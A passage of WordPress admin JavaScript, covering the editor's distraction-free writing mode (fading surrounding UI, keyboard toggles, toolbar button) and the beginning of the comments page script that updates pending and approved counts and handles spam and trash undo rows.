				mceEditor.execCommand( 'wpAutoResizeOn' );

				if ( ! mceEditor.isHidden() ) {
					mceEditor.execCommand( 'wpAutoResize' );
				}
			}

			if ( ! mceEditor || mceEditor.isHidden() ) {
				textEditorResize();
			}

			adjust();

			$document.trigger( 'editor-expand-on' );
		}

		/**
		 * Unbinds editor expand events.
		 *
		 * @since 4.0.0
		 *
		 * @return {void}
		 */
		function off() {
			var height = parseInt( window.getUserSetting( 'ed_size', 300 ), 10 );

			if ( height < 50 ) {
				height = 50;
			} else if ( height > 5000 ) {
				height = 5000;
			}

			/*
			 * Scroll to the top when triggering this from JS.
			 * Ensure the toolbars are reset properly.
			 */
			if ( window.pageYOffset && window.pageYOffset > pageYOffsetAtTop ) {
				window.scrollTo( window.pageXOffset, 0 );
			}

			$wrap.removeClass( 'wp-editor-expand' );

			$window.off( '.editor-expand' );
			$document.off( '.editor-expand' );
			$textEditor.off( '.editor-expand' );
			mceUnbind();

			// Adjust when entering or exiting fullscreen mode.
			fullscreen && fullscreen.pubsub.unsubscribe( 'hidden', fullscreenHide );

			// Reset all CSS.
			$.each( [ $visualTop, $textTop, $tools, $menuBar, $bottom, $statusBar, $contentWrap, $visualEditor, $textEditor, $sideSortables ], function( i, element ) {
				element && element.attr( 'style', '' );
			});

			fixedTop = fixedBottom = fixedSideTop = fixedSideBottom = false;

			if ( mceEditor ) {
				mceEditor.settings.wp_autoresize_on = false;
				mceEditor.execCommand( 'wpAutoResizeOff' );

				if ( ! mceEditor.isHidden() ) {
					$textEditor.hide();

					if ( height ) {
						mceEditor.theme.resizeTo( null, height );
					}
				}
			}

			// If there is a height found in the user setting.
			if ( height ) {
				$textEditor.height( height );
			}

			$document.trigger( 'editor-expand-off' );
		}

		// Start on load.
		if ( $wrap.hasClass( 'wp-editor-expand' ) ) {
			on();

			// Resize just after CSS has fully loaded and QuickTags is ready.
			if ( $contentWrap.hasClass( 'html-active' ) ) {
				initialResize( function() {
					adjust();
					textEditorResize();
				} );
			}
		}

		// Show the on/off checkbox.
		$( '#adv-settings .editor-expand' ).show();
		$( '#editor-expand-toggle' ).on( 'change.editor-expand', function() {
			if ( $(this).prop( 'checked' ) ) {
				on();
				window.setUserSetting( 'editor_expand', 'on' );
			} else {
				off();
				window.setUserSetting( 'editor_expand', 'off' );
			}
		});

		// Expose on() and off().
		window.editorExpand = {
			on: on,
			off: off
		};
	} );

	/**
	 * Handles the distraction free writing of TinyMCE.
	 *
	 * @since 4.1.0
	 *
	 * @return {void}
	 */
	$( function() {
		var $body = $( document.body ),
			$wrap = $( '#wpcontent' ),
			$editor = $( '#post-body-content' ),
			$title = $( '#title' ),
			$content = $( '#content' ),
			$overlay = $( document.createElement( 'DIV' ) ),
			$slug = $( '#edit-slug-box' ),
			$slugFocusEl = $slug.find( 'a' )
				.add( $slug.find( 'button' ) )
				.add( $slug.find( 'input' ) ),
			$menuWrap = $( '#adminmenuwrap' ),
			$editorWindow = $(),
			$editorIframe = $(),
			_isActive = window.getUserSetting( 'editor_expand', 'on' ) === 'on',
			_isOn = _isActive ? window.getUserSetting( 'post_dfw' ) === 'on' : false,
			traveledX = 0,
			traveledY = 0,
			buffer = 20,
			faded, fadedAdminBar, fadedSlug,
			editorRect, x, y, mouseY, scrollY,
			focusLostTimer, overlayTimer, editorHasFocus;

		$body.append( $overlay );

		$overlay.css( {
			display: 'none',
			position: 'fixed',
			top: $adminBar.height(),
			right: 0,
			bottom: 0,
			left: 0,
			'z-index': 9997
		} );

		$editor.css( {
			position: 'relative'
		} );

		$window.on( 'mousemove.focus', function( event ) {
			mouseY = event.pageY;
		} );

		/**
		 * Recalculates the bottom and right position of the editor in the DOM.
		 *
		 * @since 4.1.0
		 *
		 * @return {void}
		 */
		function recalcEditorRect() {
			editorRect = $editor.offset();
			editorRect.right = editorRect.left + $editor.outerWidth();
			editorRect.bottom = editorRect.top + $editor.outerHeight();
		}

		/**
		 * Activates the distraction free writing mode.
		 *
		 * @since 4.1.0
		 *
		 * @return {void}
		 */
		function activate() {
			if ( ! _isActive ) {
				_isActive = true;

				$document.trigger( 'dfw-activate' );
				$content.on( 'keydown.focus-shortcut', toggleViaKeyboard );
			}
		}

		/**
		 * Deactivates the distraction free writing mode.
		 *
		 * @since 4.1.0
		 *
		 * @return {void}
		 */
		function deactivate() {
			if ( _isActive ) {
				off();

				_isActive = false;

				$document.trigger( 'dfw-deactivate' );
				$content.off( 'keydown.focus-shortcut' );
			}
		}

		/**
		 * Returns _isActive.
		 *
		 * @since 4.1.0
		 *
		 * @return {boolean} Returns true is _isActive is true.
		 */
		function isActive() {
			return _isActive;
		}

		/**
		 * Binds events on the editor for distraction free writing.
		 *
		 * @since 4.1.0
		 *
		 * @return {void}
		 */
		function on() {
			if ( ! _isOn && _isActive ) {
				_isOn = true;

				$content.on( 'keydown.focus', fadeOut );

				$title.add( $content ).on( 'blur.focus', maybeFadeIn );

				fadeOut();

				window.setUserSetting( 'post_dfw', 'on' );

				$document.trigger( 'dfw-on' );
			}
		}

		/**
		 * Unbinds events on the editor for distraction free writing.
		 *
		 * @since 4.1.0
		 *
		 * @return {void}
		 */
		function off() {
			if ( _isOn ) {
				_isOn = false;

				$title.add( $content ).off( '.focus' );

				fadeIn();

				$editor.off( '.focus' );

				window.setUserSetting( 'post_dfw', 'off' );

				$document.trigger( 'dfw-off' );
			}
		}

		/**
		 * Binds or unbinds the editor expand events.
		 *
		 * @since 4.1.0
		 *
		 * @return {void}
		 */
		function toggle() {
			if ( _isOn ) {
				off();
			} else {
				on();
			}
		}

		/**
		 * Returns the value of _isOn.
		 *
		 * @since 4.1.0
		 *
		 * @return {boolean} Returns true if _isOn is true.
		 */
		function isOn() {
			return _isOn;
		}

		/**
		 * Fades out all elements except for the editor.
		 *
		 * The fading is done based on key presses and mouse movements.
		 * Also calls the fadeIn on certain key presses
		 * or if the mouse leaves the editor.
		 *
		 * @since 4.1.0
		 *
		 * @param event The event that triggers this function.
		 *
		 * @return {void}
		 */
		function fadeOut( event ) {
			var isMac,
				key = event && event.keyCode;

			if ( window.navigator.platform ) {
				isMac = ( window.navigator.platform.indexOf( 'Mac' ) > -1 );
			}

			// Fade in and returns on Escape and keyboard shortcut Alt+Shift+W and Ctrl+Opt+W.
			if ( key === 27 || ( key === 87 && event.altKey && ( ( ! isMac && event.shiftKey ) || ( isMac && event.ctrlKey ) ) ) ) {
				fadeIn( event );
				return;
			}

			// Return if any of the following keys or combinations of keys is pressed.
			if ( event && ( event.metaKey || ( event.ctrlKey && ! event.altKey ) || ( event.altKey && event.shiftKey ) || ( key && (
				// Special keys ( tab, ctrl, alt, esc, arrow keys... ).
				( key <= 47 && key !== 8 && key !== 13 && key !== 32 && key !== 46 ) ||
				// Windows keys.
				( key >= 91 && key <= 93 ) ||
				// F keys.
				( key >= 112 && key <= 135 ) ||
				// Num Lock, Scroll Lock, OEM.
				( key >= 144 && key <= 150 ) ||
				// OEM or non-printable.
				key >= 224
			) ) ) ) {
				return;
			}

			if ( ! faded ) {
				faded = true;

				clearTimeout( overlayTimer );

				overlayTimer = setTimeout( function() {
					$overlay.show();
				}, 600 );

				$editor.css( 'z-index', 9998 );

				$overlay
					// Always recalculate the editor area when entering the overlay with the mouse.
					.on( 'mouseenter.focus', function() {
						recalcEditorRect();

						$window.on( 'scroll.focus', function() {
							var nScrollY = window.pageYOffset;

							if ( (
								scrollY && mouseY &&
								scrollY !== nScrollY
							) && (
								mouseY < editorRect.top - buffer ||
								mouseY > editorRect.bottom + buffer
							) ) {
								fadeIn();
							}

							scrollY = nScrollY;
						} );
					} )
					.on( 'mouseleave.focus', function() {
						x = y =  null;
						traveledX = traveledY = 0;

						$window.off( 'scroll.focus' );
					} )
					// Fade in when the mouse moves away form the editor area.
					.on( 'mousemove.focus', function( event ) {
						var nx = event.clientX,
							ny = event.clientY,
							pageYOffset = window.pageYOffset,
							pageXOffset = window.pageXOffset;

						if ( x && y && ( nx !== x || ny !== y ) ) {
							if (
								( ny <= y && ny < editorRect.top - pageYOffset ) ||
								( ny >= y && ny > editorRect.bottom - pageYOffset ) ||
								( nx <= x && nx < editorRect.left - pageXOffset ) ||
								( nx >= x && nx > editorRect.right - pageXOffset )
							) {
								traveledX += Math.abs( x - nx );
								traveledY += Math.abs( y - ny );

								if ( (
									ny <= editorRect.top - buffer - pageYOffset ||
									ny >= editorRect.bottom + buffer - pageYOffset ||
									nx <= editorRect.left - buffer - pageXOffset ||
									nx >= editorRect.right + buffer - pageXOffset
								) && (
									traveledX > 10 ||
									traveledY > 10
								) ) {
									fadeIn();

									x = y =  null;
									traveledX = traveledY = 0;

									return;
								}
							} else {
								traveledX = traveledY = 0;
							}
						}

						x = nx;
						y = ny;
					} )

					// When the overlay is touched, fade in and cancel the event.
					.on( 'touchstart.focus', function( event ) {
						event.preventDefault();
						fadeIn();
					} );

				$editor.off( 'mouseenter.focus' );

				if ( focusLostTimer ) {
					clearTimeout( focusLostTimer );
					focusLostTimer = null;
				}

				$body.addClass( 'focus-on' ).removeClass( 'focus-off' );
			}

			fadeOutAdminBar();
			fadeOutSlug();
		}

		/**
		 * Fades all elements back in.
		 *
		 * @since 4.1.0
		 *
		 * @param event The event that triggers this function.
		 *
		 * @return {void}
		 */
		function fadeIn( event ) {
			if ( faded ) {
				faded = false;

				clearTimeout( overlayTimer );

				overlayTimer = setTimeout( function() {
					$overlay.hide();
				}, 200 );

				$editor.css( 'z-index', '' );

				$overlay.off( 'mouseenter.focus mouseleave.focus mousemove.focus touchstart.focus' );

				/*
				 * When fading in, temporarily watch for refocus and fade back out - helps
				 * with 'accidental' editor exits with the mouse. When fading in and the event
				 * is a key event (Escape or Alt+Shift+W) don't watch for refocus.
				 */
				if ( 'undefined' === typeof event ) {
					$editor.on( 'mouseenter.focus', function() {
						if ( $.contains( $editor.get( 0 ), document.activeElement ) || editorHasFocus ) {
							fadeOut();
						}
					} );
				}

				focusLostTimer = setTimeout( function() {
					focusLostTimer = null;
					$editor.off( 'mouseenter.focus' );
				}, 1000 );

				$body.addClass( 'focus-off' ).removeClass( 'focus-on' );
			}

			fadeInAdminBar();
			fadeInSlug();
		}

		/**
		 * Fades in if the focused element based on it position.
		 *
		 * @since 4.1.0
		 *
		 * @return {void}
		 */
		function maybeFadeIn() {
			setTimeout( function() {
				var position = document.activeElement.compareDocumentPosition( $editor.get( 0 ) );

				function hasFocus( $el ) {
					return $.contains( $el.get( 0 ), document.activeElement );
				}

				// The focused node is before or behind the editor area, and not outside the wrap.
				if ( ( position === 2 || position === 4 ) && ( hasFocus( $menuWrap ) || hasFocus( $wrap ) || hasFocus( $footer ) ) ) {
					fadeIn();
				}
			}, 0 );
		}

		/**
		 * Fades out the admin bar based on focus on the admin bar.
		 *
		 * @since 4.1.0
		 *
		 * @return {void}
		 */
		function fadeOutAdminBar() {
			if ( ! fadedAdminBar && faded ) {
				fadedAdminBar = true;

				$adminBar
					.on( 'mouseenter.focus', function() {
						$adminBar.addClass( 'focus-off' );
					} )
					.on( 'mouseleave.focus', function() {
						$adminBar.removeClass( 'focus-off' );
					} );
			}
		}

		/**
		 * Fades in the admin bar.
		 *
		 * @since 4.1.0
		 *
		 * @return {void}
		 */
		function fadeInAdminBar() {
			if ( fadedAdminBar ) {
				fadedAdminBar = false;

				$adminBar.off( '.focus' );
			}
		}

		/**
		 * Fades out the edit slug box.
		 *
		 * @since 4.1.0
		 *
		 * @return {void}
		 */
		function fadeOutSlug() {
			if ( ! fadedSlug && faded && ! $slug.find( ':focus').length ) {
				fadedSlug = true;

				$slug.stop().fadeTo( 'fast', 0.3 ).on( 'mouseenter.focus', fadeInSlug ).off( 'mouseleave.focus' );

				$slugFocusEl.on( 'focus.focus', fadeInSlug ).off( 'blur.focus' );
			}
		}

		/**
		 * Fades in the edit slug box.
		 *
		 * @since 4.1.0
		 *
		 * @return {void}
		 */
		function fadeInSlug() {
			if ( fadedSlug ) {
				fadedSlug = false;

				$slug.stop().fadeTo( 'fast', 1 ).on( 'mouseleave.focus', fadeOutSlug ).off( 'mouseenter.focus' );

				$slugFocusEl.on( 'blur.focus', fadeOutSlug ).off( 'focus.focus' );
			}
		}

		/**
		 * Triggers the toggle on Alt + Shift + W.
		 *
		 * Keycode 87 = w.
		 *
		 * @since 4.1.0
		 *
		 * @param {event} event The event to trigger the toggle.
		 *
		 * @return {void}
		 */
		function toggleViaKeyboard( event ) {
			if ( event.altKey && event.shiftKey && 87 === event.keyCode ) {
				toggle();
			}
		}

		if ( $( '#postdivrich' ).hasClass( 'wp-editor-expand' ) ) {
			$content.on( 'keydown.focus-shortcut', toggleViaKeyboard );
		}

		/**
		 * Adds the distraction free writing button when setting up TinyMCE.
		 *
		 * @since 4.1.0
		 *
		 * @param {event} event The TinyMCE editor setup event.
		 * @param {object} editor The editor to add the button to.
		 *
		 * @return {void}
		 */
		$document.on( 'tinymce-editor-setup.focus', function( event, editor ) {
			editor.addButton( 'dfw', {
				active: _isOn,
				classes: 'wp-dfw btn widget',
				disabled: ! _isActive,
				onclick: toggle,
				onPostRender: function() {
					var button = this;

					editor.on( 'init', function() {
						if ( button.disabled() ) {
							button.hide();
						}
					} );

					$document
					.on( 'dfw-activate.focus', function() {
						button.disabled( false );
						button.show();
					} )
					.on( 'dfw-deactivate.focus', function() {
						button.disabled( true );
						button.hide();
					} )
					.on( 'dfw-on.focus', function() {
						button.active( true );
					} )
					.on( 'dfw-off.focus', function() {
						button.active( false );
					} );
				},
				tooltip: 'Distraction-free writing mode',
				shortcut: 'Alt+Shift+W'
			} );

			editor.addCommand( 'wpToggleDFW', toggle );
			editor.addShortcut( 'access+w', '', 'wpToggleDFW' );
		} );

		/**
		 * Binds and unbinds events on the editor.
		 *
		 * @since 4.1.0
		 *
		 * @param {event} event The TinyMCE editor init event.
		 * @param {object} editor The editor to bind events on.
		 *
		 * @return {void}
		 */
		$document.on( 'tinymce-editor-init.focus', function( event, editor ) {
			var mceBind, mceUnbind;

			function focus() {
				editorHasFocus = true;
			}

			function blur() {
				editorHasFocus = false;
			}

			if ( editor.id === 'content' ) {
				$editorWindow = $( editor.getWin() );
				$editorIframe = $( editor.getContentAreaContainer() ).find( 'iframe' );

				mceBind = function() {
					editor.on( 'keydown', fadeOut );
					editor.on( 'blur', maybeFadeIn );
					editor.on( 'focus', focus );
					editor.on( 'blur', blur );
					editor.on( 'wp-autoresize', recalcEditorRect );
				};

				mceUnbind = function() {
					editor.off( 'keydown', fadeOut );
					editor.off( 'blur', maybeFadeIn );
					editor.off( 'focus', focus );
					editor.off( 'blur', blur );
					editor.off( 'wp-autoresize', recalcEditorRect );
				};

				if ( _isOn ) {
					mceBind();
				}

				// Bind and unbind based on the distraction free writing focus.
				$document.on( 'dfw-on.focus', mceBind ).on( 'dfw-off.focus', mceUnbind );

				// Focuse the editor when it is the target of the click event.
				editor.on( 'click', function( event ) {
					if ( event.target === editor.getDoc().documentElement ) {
						editor.focus();
					}
				} );
			}
		} );

		/**
		 *  Binds events on quicktags init.
		 *
		 * @since 4.1.0
		 *
		 * @param {event} event The quicktags init event.
		 * @param {object} editor The editor to bind events on.
		 *
		 * @return {void}
		 */
		$document.on( 'quicktags-init', function( event, editor ) {
			var $button;

			// Bind the distraction free writing events if the distraction free writing button is available.
			if ( editor.settings.buttons && ( ',' + editor.settings.buttons + ',' ).indexOf( ',dfw,' ) !== -1 ) {
				$button = $( '#' + editor.name + '_dfw' );

				$( document )
				.on( 'dfw-activate', function() {
					$button.prop( 'disabled', false );
				} )
				.on( 'dfw-deactivate', function() {
					$button.prop( 'disabled', true );
				} )
				.on( 'dfw-on', function() {
					$button.addClass( 'active' );
				} )
				.on( 'dfw-off', function() {
					$button.removeClass( 'active' );
				} );
			}
		} );

		$document.on( 'editor-expand-on.focus', activate ).on( 'editor-expand-off.focus', deactivate );

		if ( _isOn ) {
			$content.on( 'keydown.focus', fadeOut );

			$title.add( $content ).on( 'blur.focus', maybeFadeIn );
		}

		window.wp = window.wp || {};
		window.wp.editor = window.wp.editor || {};
		window.wp.editor.dfw = {
			activate: activate,
			deactivate: deactivate,
			isActive: isActive,
			on: on,
			off: off,
			toggle: toggle,
			isOn: isOn
		};
	} );
} )( window, window.jQuery );
/**
 * Handles updating and editing comments.
 *
 * @file This file contains functionality for the admin comments page.
 * @since 2.1.0
 * @output wp-admin/js/edit-comments.js
 */

/* global adminCommentsSettings, thousandsSeparator, list_args, QTags, ajaxurl, wpAjax */
/* global commentReply, theExtraList, theList, setCommentsList */

(function($) {
var getCount, updateCount, updateCountText, updatePending, updateApproved,
	updateHtmlTitle, updateDashboardText, updateInModerationText, adminTitle = document.title,
	isDashboard = $('#dashboard_right_now').length,
	titleDiv, titleRegEx,
	__ = wp.i18n.__;

	/**
	 * Extracts a number from the content of a jQuery element.
	 *
	 * @since 2.9.0
	 * @access private
	 *
	 * @param {jQuery} el jQuery element.
	 *
	 * @return {number} The number found in the given element.
	 */
	getCount = function(el) {
		var n = parseInt( el.html().replace(/[^0-9]+/g, ''), 10 );
		if ( isNaN(n) ) {
			return 0;
		}
		return n;
	};

	/**
	 * Updates an html element with a localized number string.
	 *
	 * @since 2.9.0
	 * @access private
	 *
	 * @param {jQuery} el The jQuery element to update.
	 * @param {number} n Number to be put in the element.
	 *
	 * @return {void}
	 */
	updateCount = function(el, n) {
		var n1 = '';
		if ( isNaN(n) ) {
			return;
		}
		n = n < 1 ? '0' : n.toString();
		if ( n.length > 3 ) {
			while ( n.length > 3 ) {
				n1 = thousandsSeparator + n.substr(n.length - 3) + n1;
				n = n.substr(0, n.length - 3);
			}
			n = n + n1;
		}
		el.html(n);
	};

	/**
	 * Updates the number of approved comments on a specific post and the filter bar.
	 *
	 * @since 4.4.0
	 * @access private
	 *
	 * @param {number} diff The amount to lower or raise the approved count with.
	 * @param {number} commentPostId The ID of the post to be updated.
	 *
	 * @return {void}
	 */
	updateApproved = function( diff, commentPostId ) {
		var postSelector = '.post-com-count-' + commentPostId,
			noClass = 'comment-count-no-comments',
			approvedClass = 'comment-count-approved',
			approved,
			noComments;

		updateCountText( 'span.approved-count', diff );

		if ( ! commentPostId ) {
			return;
		}

		// Cache selectors to not get duplicates.
		approved = $( 'span.' + approvedClass, postSelector );
		noComments = $( 'span.' + noClass, postSelector );

		approved.each(function() {
			var a = $(this), n = getCount(a) + diff;
			if ( n < 1 )
				n = 0;

			if ( 0 === n ) {
				a.removeClass( approvedClass ).addClass( noClass );
			} else {
				a.addClass( approvedClass ).removeClass( noClass );
			}
			updateCount( a, n );
		});

		noComments.each(function() {
			var a = $(this);
			if ( diff > 0 ) {
				a.removeClass( noClass ).addClass( approvedClass );
			} else {
				a.addClass( noClass ).removeClass( approvedClass );
			}
			updateCount( a, diff );
		});
	};

	/**
	 * Updates a number count in all matched HTML elements
	 *
	 * @since 4.4.0
	 * @access private
	 *
	 * @param {string} selector The jQuery selector for elements to update a count
	 *                          for.
	 * @param {number} diff The amount to lower or raise the count with.
	 *
	 * @return {void}
	 */
	updateCountText = function( selector, diff ) {
		$( selector ).each(function() {
			var a = $(this), n = getCount(a) + diff;
			if ( n < 1 ) {
				n = 0;
			}
			updateCount( a, n );
		});
	};

	/**
	 * Updates a text about comment count on the dashboard.
	 *
	 * @since 4.4.0
	 * @access private
	 *
	 * @param {Object} response Ajax response from the server that includes a
	 *                          translated "comment count" message.
	 *
	 * @return {void}
	 */
	updateDashboardText = function( response ) {
		if ( ! isDashboard || ! response || ! response.i18n_comments_text ) {
			return;
		}

		$( '.comment-count a', '#dashboard_right_now' ).text( response.i18n_comments_text );
	};

	/**
	 * Updates the "comments in moderation" text across the UI.
	 *
	 * @since 5.2.0
	 *
	 * @param {Object} response Ajax response from the server that includes a
	 *                          translated "comments in moderation" message.
	 *
	 * @return {void}
	 */
	updateInModerationText = function( response ) {
		if ( ! response || ! response.i18n_moderation_text ) {
			return;
		}

		// Update the "comment in moderation" text across the UI.
		$( '.comments-in-moderation-text' ).text( response.i18n_moderation_text );
		// Hide the "comment in moderation" text in the Dashboard "At a Glance" widget.
		if ( isDashboard && response.in_moderation ) {
			$( '.comment-mod-count', '#dashboard_right_now' )
				[ response.in_moderation > 0 ? 'removeClass' : 'addClass' ]( 'hidden' );
		}
	};

	/**
	 * Updates the title of the document with the number comments to be approved.
	 *
	 * @since 4.4.0
	 * @access private
	 *
	 * @param {number} diff The amount to lower or raise the number of to be
	 *                      approved comments with.
	 *
	 * @return {void}
	 */
	updateHtmlTitle = function( diff ) {
		var newTitle, regExMatch, titleCount, commentFrag;

		/* translators: %s: Comments count. */
		titleRegEx = titleRegEx || new RegExp( __( 'Comments (%s)' ).replace( '%s', '\\([0-9' + thousandsSeparator + ']+\\)' ) + '?' );
		// Count funcs operate on a $'d element.
		titleDiv = titleDiv || $( '<div />' );
		newTitle = adminTitle;

		commentFrag = titleRegEx.exec( document.title );
		if ( commentFrag ) {
			commentFrag = commentFrag[0];
			titleDiv.html( commentFrag );
			titleCount = getCount( titleDiv ) + diff;
		} else {
			titleDiv.html( 0 );
			titleCount = diff;
		}

		if ( titleCount >= 1 ) {
			updateCount( titleDiv, titleCount );
			regExMatch = titleRegEx.exec( document.title );
			if ( regExMatch ) {
				/* translators: %s: Comments count. */
				newTitle = document.title.replace( regExMatch[0], __( 'Comments (%s)' ).replace( '%s', titleDiv.text() ) + ' ' );
			}
		} else {
			regExMatch = titleRegEx.exec( newTitle );
			if ( regExMatch ) {
				newTitle = newTitle.replace( regExMatch[0], __( 'Comments' ) );
			}
		}
		document.title = newTitle;
	};

	/**
	 * Updates the number of pending comments on a specific post and the filter bar.
	 *
	 * @since 3.2.0
	 * @access private
	 *
	 * @param {number} diff The amount to lower or raise the pending count with.
	 * @param {number} commentPostId The ID of the post to be updated.
	 *
	 * @return {void}
	 */
	updatePending = function( diff, commentPostId ) {
		var postSelector = '.post-com-count-' + commentPostId,
			noClass = 'comment-count-no-pending',
			noParentClass = 'post-com-count-no-pending',
			pendingClass = 'comment-count-pending',
			pending,
			noPending;

		if ( ! isDashboard ) {
			updateHtmlTitle( diff );
		}

		$( 'span.pending-count' ).each(function() {
			var a = $(this), n = getCount(a) + diff;
			if ( n < 1 )
				n = 0;
			a.closest('.awaiting-mod')[ 0 === n ? 'addClass' : 'removeClass' ]('count-0');
			updateCount( a, n );
		});

		if ( ! commentPostId ) {
			return;
		}

		// Cache selectors to not get dupes.
		pending = $( 'span.' + pendingClass, postSelector );
		noPending = $( 'span.' + noClass, postSelector );

		pending.each(function() {
			var a = $(this), n = getCount(a) + diff;
			if ( n < 1 )
				n = 0;

			if ( 0 === n ) {
				a.parent().addClass( noParentClass );
				a.removeClass( pendingClass ).addClass( noClass );
			} else {
				a.parent().removeClass( noParentClass );
				a.addClass( pendingClass ).removeClass( noClass );
			}
			updateCount( a, n );
		});

		noPending.each(function() {
			var a = $(this);
			if ( diff > 0 ) {
				a.parent().removeClass( noParentClass );
				a.removeClass( noClass ).addClass( pendingClass );
			} else {
				a.parent().addClass( noParentClass );
				a.addClass( noClass ).removeClass( pendingClass );
			}
			updateCount( a, diff );
		});
	};

/**
 * Initializes the comments list.
 *
 * @since 4.4.0
 *
 * @global
 *
 * @return {void}
 */
window.setCommentsList = function() {
	var totalInput, perPageInput, pageInput, dimAfter, delBefore, updateTotalCount, delAfter, refillTheExtraList, diff,
		lastConfidentTime = 0;

	totalInput = $('input[name="_total"]', '#comments-form');
	perPageInput = $('input[name="_per_page"]', '#comments-form');
	pageInput = $('input[name="_page"]', '#comments-form');

	/**
	 * Updates the total with the latest count.
	 *
	 * The time parameter makes sure that we only update the total if this value is
	 * a newer value than we previously received.
	 *
	 * The time and setConfidentTime parameters make sure that we only update the
	 * total when necessary. So a value that has been generated earlier will not
	 * update the total.
	 *
	 * @since 2.8.0
	 * @access private
	 *
	 * @param {number} total Total number of comments.
	 * @param {number} time Unix timestamp of response.
 	 * @param {boolean} setConfidentTime Whether to update the last confident time
	 *                                   with the given time.
	 *
	 * @return {void}
	 */
	updateTotalCount = function( total, time, setConfidentTime ) {
		if ( time < lastConfidentTime )
			return;

		if ( setConfidentTime )
			lastConfidentTime = time;

		totalInput.val( total.toString() );
	};

	/**
	 * Changes DOM that need to be changed after a list item has been dimmed.
	 *
	 * @since 2.5.0
	 * @access private
	 *
	 * @param {Object} r Ajax response object.
	 * @param {Object} settings Settings for the wpList object.
	 *
	 * @return {void}
	 */
	dimAfter = function( r, settings ) {
		var editRow, replyID, replyButton, response,
			c = $( '#' + settings.element );

		if ( true !== settings.parsed ) {
			response = settings.parsed.responses[0];
		}

		editRow = $('#replyrow');
		replyID = $('#comment_ID', editRow).val();
		replyButton = $('#replybtn', editRow);

		if ( c.is('.unapproved') ) {
			if ( settings.data.id == replyID )
				replyButton.text( __( 'Approve and Reply' ) );

			c.find( '.row-actions span.view' ).addClass( 'hidden' ).end()
				.find( 'div.comment_status' ).html( '0' );

		} else {
			if ( settings.data.id == replyID )
				replyButton.text( __( 'Reply' ) );

			c.find( '.row-actions span.view' ).removeClass( 'hidden' ).end()
				.find( 'div.comment_status' ).html( '1' );
		}

		diff = $('#' + settings.element).is('.' + settings.dimClass) ? 1 : -1;
		if ( response ) {
			updateDashboardText( response.supplemental );
			updateInModerationText( response.supplemental );
			updatePending( diff, response.supplemental.postId );
			updateApproved( -1 * diff, response.supplemental.postId );
		} else {
			updatePending( diff );
			updateApproved( -1 * diff  );
		}
	};

	/**
	 * Handles marking a comment as spam or trashing the comment.
	 *
	 * Is executed in the list delBefore hook.
	 *
	 * @since 2.8.0
	 * @access private
	 *
	 * @param {Object} settings Settings for the wpList object.
	 * @param {HTMLElement} list Comments table element.
	 *
	 * @return {Object} The settings object.
	 */
	delBefore = function( settings, list ) {
		var note, id, el, n, h, a, author,
			action = false,
			wpListsData = $( settings.target ).attr( 'data-wp-lists' );

		settings.data._total = totalInput.val() || 0;
		settings.data._per_page = perPageInput.val() || 0;
		settings.data._page = pageInput.val() || 0;
		settings.data._url = document.location.href;
		settings.data.comment_status = $('input[name="comment_status"]', '#comments-form').val();

		if ( wpListsData.indexOf(':trash=1') != -1 )
			action = 'trash';
		else if ( wpListsData.indexOf(':spam=1') != -1 )
			action = 'spam';

		if ( action ) {
			id = wpListsData.replace(/.*?comment-([0-9]+).*/, '$1');
			el = $('#comment-' + id);
			note = $('#' + action + '-undo-holder').html();

			el.find('.check-column :checkbox').prop('checked', false); // Uncheck the row so as not to be affected by Bulk Edits.

			if ( el.siblings('#replyrow').length && commentReply.cid == id )
				commentReply.close();

			if ( el.is('tr') ) {
				n = el.children(':visible').length;
				author = $('.author strong', el).text();
				h = $('<tr id="undo-' + id + '" class="undo un' + action + '" style="display:none;"><td colspan="' + n + '">' + note + '</td></tr>');
			} else {
				author = $('.comment-author', el).text();
				h = $('<div id="undo-' + id + '" style="display:none;" class="undo un' + action + '">' + note + '</div>');
			}

			el.before(h);

			$('strong', '#undo-' + id).text(author);
			a = $('.undo a', '#undo-' + id);
			a.attr('href', 'comment.php?action=un' + action + 'comment&c=' + id + '&_wpnonce=' + settings.data._ajax_nonce);
			a.attr('data-wp-lists', 'delete:the-comment-list:comment-' + id + '::un' + action + '=1');
			a.attr('class', 'vim-z vim-destructive aria-button-if-js');
			$('.avatar', el).first().clone().prependTo('#undo-' + id + ' .' + action + '-undo-inside');

			a.on( 'click', function( e ){
				e.preventDefault();
				e.stopPropagation(); // Ticket #35904.
				list.wpList.del(this);
				$('#undo-' + id).css( {backgroundColor:'#ceb'} ).fadeOut(350, function(){
					$(this).remove();
					$('#comment-' + id).css('backgroundColor', '').fadeIn(300, function(){ $(this).show(); });
				});
			});
		}

		return settings;
	};

	/**
	 * Handles actions that need to be done after marking as spam or thrashing a
	 * comment.
	 *
	 * The ajax requests return the unix time stamp a comment was marked as spam or
	 * trashed. We use this to have a correct total amount of comments.
	 *
	 * @since 2.5.0
	 * @access private
	 *
	 * @param {Object} r Ajax response object.
	 * @param {Object} settings Settings for the wpList object.
	 *
	 * @return {void}
	 */
	delAfter = function( r, settings ) {
		var total_items_i18n, total, animated, animatedCallback,
			response = true === settings.parsed ? {} : settings.parsed.responses[0],
			commentStatus = true === settings.parsed ? '' : response.supplemental.status,
			commentPostId = true === settings.parsed ? '' : response.supplemental.postId,
			newTotal = true === settings.parsed ? '' : response.supplemental,

			targetParent = $( settings.target ).parent(),
			commentRow = $('#' + settings.element),

			spamDiff, trashDiff, pendingDiff, approvedDiff,

			/*
			 * As `wpList` toggles only the `unapproved` class, the approved comment
			 * rows can have both the `approved` and `unapproved` classes.
			 */
			approved = commentRow.hasClass( 'approved' ) && ! commentRow.hasClass( 'unapproved' ),
			unapproved = commentRow.hasClass( 'unapproved' ),
			spammed = commentRow.hasClass( 'spam' ),
			trashed = commentRow.hasClass( 'trash' ),
			undoing = false; // Ticket #35904.

		updateDashboardText( newTotal );
		updateInModerationText( newTotal );

		/*
		 * The order of these checks is important.
		 * .unspam can also have .approve or .unapprove.
		 * .untrash can also have .approve or .unapprove.
		 */

		if ( targetParent.is( 'span.undo' ) ) {
			// The comment was spammed.
			if ( targetParent.hasClass( 'unspam' ) ) {
				spamDiff = -1;

				if ( 'trash' === commentStatus ) {
					trashDiff = 1;
				} else if ( '1' === commentStatus ) {
					approvedDiff = 1;
				} else if ( '0' === commentStatus ) {
					pendingDiff = 1;
				}

			// The comment was trashed.
			} else if ( targetParent.hasClass( 'untrash' ) ) {
				trashDiff = -1;

				if ( 'spam' === commentStatus ) {
					spamDiff = 1;
				} else if ( '1' === commentStatus ) {
					approvedDiff = 1;
				} else if ( '0' === commentStatus ) {
					pendingDiff = 1;
				}
			}

			undoing = true;

		// User clicked "Spam".
		} else if ( targetParent.is( 'span.spam' ) ) {
